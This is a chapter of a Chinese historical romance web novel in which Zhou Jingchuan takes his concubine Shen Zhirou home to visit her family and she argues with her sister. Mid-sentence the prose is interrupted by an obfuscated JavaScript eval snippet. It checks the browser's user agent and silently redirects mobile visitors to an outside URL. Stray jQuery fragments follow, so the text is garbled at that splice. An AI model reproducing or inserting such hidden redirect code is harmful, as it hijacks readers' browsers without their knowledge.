他俯身，堪堪挨近沈之柔的鼻尖，她呼出的气儿也如这朦胧天光，淡极，扑在他脸上，像小猫挠痒，然而那呼吸却戛然而至，又像被狠狠抓了一道。
周敬川刹那间清醒过来，反唇相讥：“…你要装睡到什么时候？”
他没起身，仍自低眉凝视她，只见沈之柔终于舍得掀开眼，眸子湿亮亮的，洗过一般。
沈之柔声音发抖：“二爷…我不是故意的…”
周敬川轻笑了声，不再看她，舍了美人榻，兀自踱至案前坐下。
沈之柔自然是一骨碌爬起来，紧紧跟上，柔声道：“我让人沏些茶来。”
周敬川叫住她：“不必，我来此是有事同你说。”
沈之柔又踮回他身侧，道：“二爷只管吩咐。”
“昨夜我醉了酒，约莫是行了些不妥之举，你无须放在心上。”
沈之柔一怔，而后才缓缓道：“二爷并未做什么不妥之事…”
周敬川微眯起眼打量她，不过片刻便收回，冷冷道：“没有最好。”
沈之柔心中腾起一阵不安，下意识想逃离，于是又道：“二爷没有其他事的话，那我去准备些糕点…”
周敬川瞧着她那殷勤的背影，不由得沉默了。
沈之柔脑袋里到底装的什么东西……
她是觉得他有多稀罕这一口糕点，全府上下数十个厨子，非得她天天这样忙前忙后的算什么事？
本想同她说自己其实不怎么爱吃糕点，依稀想起以前也劝道过，根本拦不住。
他发觉沈之柔这人还是有点意思，表面上看着柔柔弱弱唯唯诺诺，骨子里犟得很，九头牛也拉不住那种。
……
“行了，别忙活了。”
只见沈之柔身形一僵，转过身来，又一副含羞带怯的模样。
他是真烦她这样。
“你收拾收拾，今日我已告了假，闲来无事，便同你一道回沈家看看吧。”
说罢便起了身，人都要走出房门了，沈之柔还愣在原地。
擦肩时，沈之柔才朝他郑重一揖道：“谢谢二爷！”
果然是小姑娘，藏不住一点心事，方才还要哭不哭的，这会又像吃了蜜枣一般，整个人都鲜亮起来。
周敬川只是颔了颔首，背过身时，才淡淡笑了笑。
转眼间便是辰末，沈之柔换好了周敬川命人送来的衣装，月白立领斜襟长袄下，露出一段浅湖蓝织金马面裙，淡雅而不失奢贵。
李嬷嬷嘴都快笑裂了：“姨娘这一身可真好看，这才像个官太太嘛！”
沈之柔见四下无人才松了一口，小声斥她：“嬷嬷失言了，不可再这般胡说。”
李嬷嬷一边给她别珠钗一边笑道：“二爷院里就姨娘一个，这和正牌夫人有何区别？只不过姨娘到底吃了这庶出的亏，他周家又这般显赫，要老奴说啊，说不准二爷也是想娶你为妻的，只不过那尚书夫妻二人规矩太多……”
沈之柔把住她的手：“嬷嬷，别说了。”
虽嘴上阻拦，但听嬷嬷这样一说，心中还是暗暗生出些遐想。
不由得想起今晨在美人榻上的那两次惊醒，她不明白，周敬川为何一会温柔地为她盖被子，一会又要冷冷地出言讽刺她，如果她是周敬川明媒正娶的妻子，是否就拥有资格，在周敬川拂身而去的那一刻伸手留住他，气势汹汹地问：“你到底是什么意思？”
华姐姐会这样说的，龚姐姐也必然会的，不，不止，她想起龚姐姐昨日谈起和宋大人相识相恋的往事，她想，以龚姐姐的性格，早该在宋大人第一回为她盖上被子的那会，就紧紧拥住了他。
可她能拥住的，只有那条锦被。
“姨娘瞧瞧，可还满意？”
李嬷嬷簪好发髻，拍了拍她的肩。
沈之柔抬起眼，只见前方的铜镜中模模糊糊勾勒出一张脸，一瞧便是精心打扮过的，却叫她有些陌生，仿佛那镜中人不是她。
“姨娘，发什么愣呢？”
“嬷嬷，我们走吧。”
“诶，诶……”
李嬷嬷总觉得有些古怪，但还是急急挽上她的手臂。
出了院子，便见周敬川一行等在红廊边上，他亦身着一袭圆领月白长袍，缀以湖蓝纹饰，见了她，微微一颔。
策风远远牵了匹白马来，不似她昨日看到的那匹，凑近了些，日光落于那雪白皮羽上，竟隐隐泛出些温润的银光。
周敬川利落地翻身上马，垂眸望她。
“喜欢这马？”
沈之柔怔怔地点了点头。
“它叫燕青。”
“燕青…好名字。”
周敬川扬唇一笑，抬首正视前方，轻提缰绳，燕青四蹄腾起，凌风而去。
他策马绕开朱红长廊，白驹月袍之上，墨发束成高髻，少了乌纱，却多了几分少年气。
李嬷嬷掩着嘴偷笑，目光在他二人身上来回梭巡，等周敬川行了好一段才来撺掇她：“姨娘，该上轿了，再看啊，就赶不上你家二爷了！”
沈之柔这才急忙上轿，红着脸解释：“我只是在想，一匹白马为何取名燕青…”
“姨娘只是瞧着那白马好看吧！”
沈之柔笑着推搡她，“是…也不是啦！嬷嬷！”
李嬷嬷笑容却渐渐涩然起来：“姨娘，老奴好久没见你这般笑过了…”
“瞧着你和二爷这般恩爱，老奴真心为你感到欢喜，这从前的日子再不好过，往后也都好过了，姨娘…二小姐，老奴希望你能一直顺遂下去……”
“我会的，嬷嬷…”沈之柔挽住她的手，婉声道：“我不会忘记嬷嬷对我的好的。”
*
轿子一路缓行，不知不觉也到了沈家，沈之柔满心欢喜地掀开轿帘，却没想到她见到的第一个人会是……周敬川。
他居然等在轿外，还抬起一只手，作势要来扶她。
周敬川身后便是沈松远和沈夫人，沈夫人依旧慈祥笑着，沈松远则是喜上眉梢，一个劲地给她使眼色。
沈之柔低着眉，伸手搭了上去，甫一踏梯而下，周敬川便反手牵住了她。
沈家夫妇见状连忙迎上来，沈松远覷了一眼旁边停着的燕青，谄媚道：“周掌院，想必这便是陛下钦赐给你的那匹贡马吧，瞧瞧这品相多好，真是让老夫大开眼界啊！”
周敬川笑了笑，没说什么。
沈松远尴尬一笑，收了浮夸，虚揽着他二人往里间走。
沈松远向来如此，沈之柔早已见怪不怪，更无心批判。
奇怪的人是周敬川。
他陪她一个妾室回家探亲本身已算是破格。
但，哪怕她是个不懂朝政的女子，也知晓这陛下赐马文臣是多大的殊荣，周家树大根深，不知道要招多少妒恨，周敬川平日里看着并非这般张扬之人，今日怎会一路驾着这御马招摇过市？
她侧眸打量了一眼周敬川，只见他依旧神色如常，心中也随之安定了几分。
周敬川似是察觉到她的目光，下意识紧了紧手，垂眸来看她，启唇低声问她：“怎么了？”
那声音轻得仿佛只有她能听见，沈之柔摇了摇头，只觉被他握住的左手有些发麻。
沈松远见他二人这模样，不禁感慨道：“我家柔儿真是好福气，能得周掌院这般疼爱。”
“能得之柔这样一位贤妾，也是本官的福气。”
果不其然，沈松远又赞许地看了她一眼。
沈之柔心中却浮上些难堪，明明周敬川此刻仍紧紧牵着她的手，甚至在父母面前都给足她体面，可他越是这样周到体贴，越叫她觉得他只是公事公办，并非真心，无论将她换了谁，周敬川都是一样的。
可都说酒后吐真言，昨夜在轿中，周敬川那样问她，关心她，总不能也是逢场作戏吧？
是真如何，是假又如何？怎么周敬川一点风吹草动都能叫她跟着七上八下？她为何这般不争气？
沈之柔一颗心又沉下来，可周敬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911693|213136||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
川始终温和笑着，一会提醒她注意脚下石阶，一会又牵她在他身侧落座。
沈松远来来回回扯了些寒暄家常，过了一会儿，才开口道：“柔儿，你娘亲天天念叨你，你要不……”
不等父亲说完，她居然就失礼地站起身来，斩钉截铁道：“是，女儿这就去看看娘亲。”
周敬川不由蹙眉看她，沈松远显然也吓一跳，顿了顿才笑道：“好好好，快些去吧。”
沈之柔逃也似的奔出主厅，无头苍蝇般在外头乱转了几圈，才堪堪平复好心情，准备去找娘亲。
谁知这一去倒是先撞上了沈之华。
沈之华拦在她身前，上上下下将她打量一番，拍手笑道：“柔妹妹，你今儿可真是光彩照人啊，这织金花缎可是好东西，姐姐我都没穿过呢！”
“不过也真是可惜了，这样好的料子净绣些花啊雀的，若是绣几只凤凰岂不更相称？妹妹你说是不是？”
沈之柔绞着手指头，低声道：“这是二爷赏的，我…我也不知道该说好不好。”
沈之华嘁了一声，叉起腰：“你现在是攀上高枝了，那周家二爷倒也宠着你，只怕你早将停兰哥哥忘到九霄云外去了吧！”
“华姐姐…”沈之柔盯着她，认真道：“我既已嫁人，便与表哥再无可能，你以后莫要在我面前提他了。”
沈之华有些意外，好半晌才奇怪地看她一眼：“你当真不再心悦停兰哥哥了吗？”
沈之柔心中茫然一片，换作以前，华姐姐这般问她，她应当义正言辞地说不喜欢，因为她其实喜欢，她明白自己心悦谢停兰，很多很多年。
可这会她竟不知该如何回答华姐姐，好像这句不喜欢说出了口，便如一盆水泼到烈日下，魂飞魄散，再也无法挽回了。
沈之华再愚笨，竟也察觉了她的异样，难以置信道：“你嫁给那周敬川才两月不到，你怎么就……你这样对得起停兰哥哥吗？”
沈之柔发觉自己许是脾气见长，听到华姐姐这话竟心中反骨陡生，音量也不受控地拔高：“姐姐自己喜欢他便好，为何还要来管我喜欢谁？我都已经听你们的话嫁人了！华姐姐！——”
说到后头，沈之柔声音越来越低，染上一丝哭腔。
沈之华不敢置信地往后退了退，又凑上来拉住她的手，连声道：“柔妹妹，柔妹妹，我错了……”
“你二人怎么还吵起来了？”
沈夫人和沈姨娘一前一后，朝她们走来。
沈夫人也意外地看了沈之柔一眼，而后便将沈之华扯到自己身旁，笑道：“都是一家人，有话好好说，柔儿，你告诉母亲，发生何事了？”
“哼，我们柔儿这般温顺的性子怎会好端端生那么大的气！我看许是华姑娘又说了些什么不中听的话。”
说这话的人是沈姨娘，她一边说着，一边走到沈之柔身旁，伸手揽住了她的肩。
这下其他三人都木住了，沈之柔原本眼都红了，这会生生止住了泪水，试探道：“姨…姨娘…”
“走，和娘回院中去，”沈姨娘拉住她，朝沈夫人微微一揖道：“夫人，这周二爷还在主厅等着柔儿呢，我先将她带回去梳洗梳洗，省得这副样子等会叫人看了多心。”
沈夫人勾起唇，皮笑肉不笑的：“诶，你们快去吧……华儿，还不快送送你妹妹！”
沈之华总算反应过来，这一个沈之柔一个沈姨娘原是是仗着有周二爷做靠山，所以才敢这般嚣张跋扈，气上心头，说什么也不愿意。
待母女两人走远后，沈夫人有些恨铁不成钢地看着她：“华儿，你早该听母亲的，那停兰好是好，但到底…唉……”
“母亲！停兰哥哥可是你的亲侄儿！你怎能长他人志气灭自己威风呢？再说了，他如今做了探花郎，也到翰林院去就职了，指不定以后比那周二爷还出息呢！”
沈夫人摸了摸她的头，道：“你啊，真是个傻孩子，也罢也罢，若你真能和停兰成婚，母亲心中这一块石头也就落地了。”